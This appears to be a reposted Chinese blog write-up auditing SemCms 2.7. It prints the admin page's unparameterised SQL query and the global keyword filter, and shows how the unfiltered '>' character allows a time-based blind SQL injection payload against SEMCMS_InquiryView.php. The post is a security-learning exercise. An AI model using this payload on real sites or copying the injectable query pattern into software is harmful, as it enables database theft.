标签:浏览器 edit tor isset 结合 ring each ice tiny
开始从小的漏洞开始练习,搬运项目地址:
https://github.com/imsebao/Code-Audit
SemCms 是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容 IE、 Firefox 等主流浏览器。SemCms 使用 php 和 vb 语言编写,结合 apache 或 iis 运行。 SEMCMS_InquiryView.php 文件存在 SQL 注入漏洞。允许攻击者利用 漏洞直接操作网站数据库。
漏洞分析:www/ohbc_Admin/SEMCMS_InquiryView.php 文件 ID 参数 没有过滤 导致 sql 注入漏洞。
<?php include_once 'SEMCMS_Top_include.php'; ?>
<body>
<?php
//?ˉ?ìD??¢
$sql="select * from sc_msg where ID=".$_GET['ID'];
$query=mysql_query($sql);
while($row=mysql_fetch_array($query)){
$PID=$row['msg_pid'];
$email=$row['msg_email'];
$message=$row['msg_content'];
$IP=$row['msg_ip'];
$time=$row['msg_time'];
$names=$row['msg_name'];
$tel=$row['msg_tel'];
}
//2ú?·D??¢
if ($PID!=0){
$sql="select * from sc_products where ID=".$PID;
$query=mysql_query($sql);
while($row=mysql_fetch_array($query)){
$productsname=$row['products_name'];
}
}else{$productsname="来自联系我们的留言";}
?>
<table width="700" cellpadding="0" cellspacing="0" class="table">
<tr><td colspan="2" align="right" class="tdsbg"><span style="
float:left;"><?php echo $productsname;?></span><a
href="javascript:TINY.box.hide()"><img
src="SC_Page_Config/Image/icons/hr.gif" border="0" /></a></td></tr>
<tr><td>姓名:</td><td><?php echo $names; ?></td></tr>
<tr><td>电话:</td><td><?php echo $tel; ?></td></tr>
<tr><td>邮箱:</td><td><?php echo $email; ?></td></tr>
<tr><td>留言内容:</td><td><?php echo $message; ?></td></tr>
<tr><td>来路IP:</td><td><?php echo $IP; ?></td></tr>
<tr><td>时间:</td><td><?php echo $time; ?></td></tr>
</table>
</body>
</html>
但是 semcms 有全局过滤,继续看 www/include/web_sql.php 文件
<?php
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
// 防 sql 入注
if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get
if (isset($_COOKIE)){$CookArray=$_COOKIE;}else{$CookArray='';} //cookie
foreach ($GetArray as $value){//get
verify_str($value);
}
foreach ($CookArray as $value){ //cookie
verify_str($value);
}
function inject_check_sql($sql_str) {
return
preg_match('/select|insert|=|<|update|\'|\/\*|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
这里对 get 请求进行了过滤。
return preg_match(‘/select|insert|=|<|update|‘|/*|*|union|into|load_file|outfile/i‘,$sql_str);
这段代码过滤了一些字符,但是 “>” 符号并没有进行过滤,我们可以用 “>” 进行延时注入。
用管理员账号登录后台,访问 payload。
Payload:
http://localhost/ohbc_Admin/SEMCMS_InquiryView.php?ID=33 and if(ascii(substring(user(),1,1))>113,sleep(5),1)
成功延时
emmm比前几天的直接拼接有趣些,但是这个过滤应该在现在应该不会出现了。之前审计的cms只要程序员能想起来过滤,基本上变量就被消毒的很彻底了,经过防注入函数和防xss函数之后很难这样直接的构造payload了。
SemCms2.7 后台 SEMCMS_InquiryView.php SQL 注入
标签:浏览器 edit tor isset 结合 ring each ice tiny
原文地址:https://www.cnblogs.com/wangtanzhi/p/12405010.html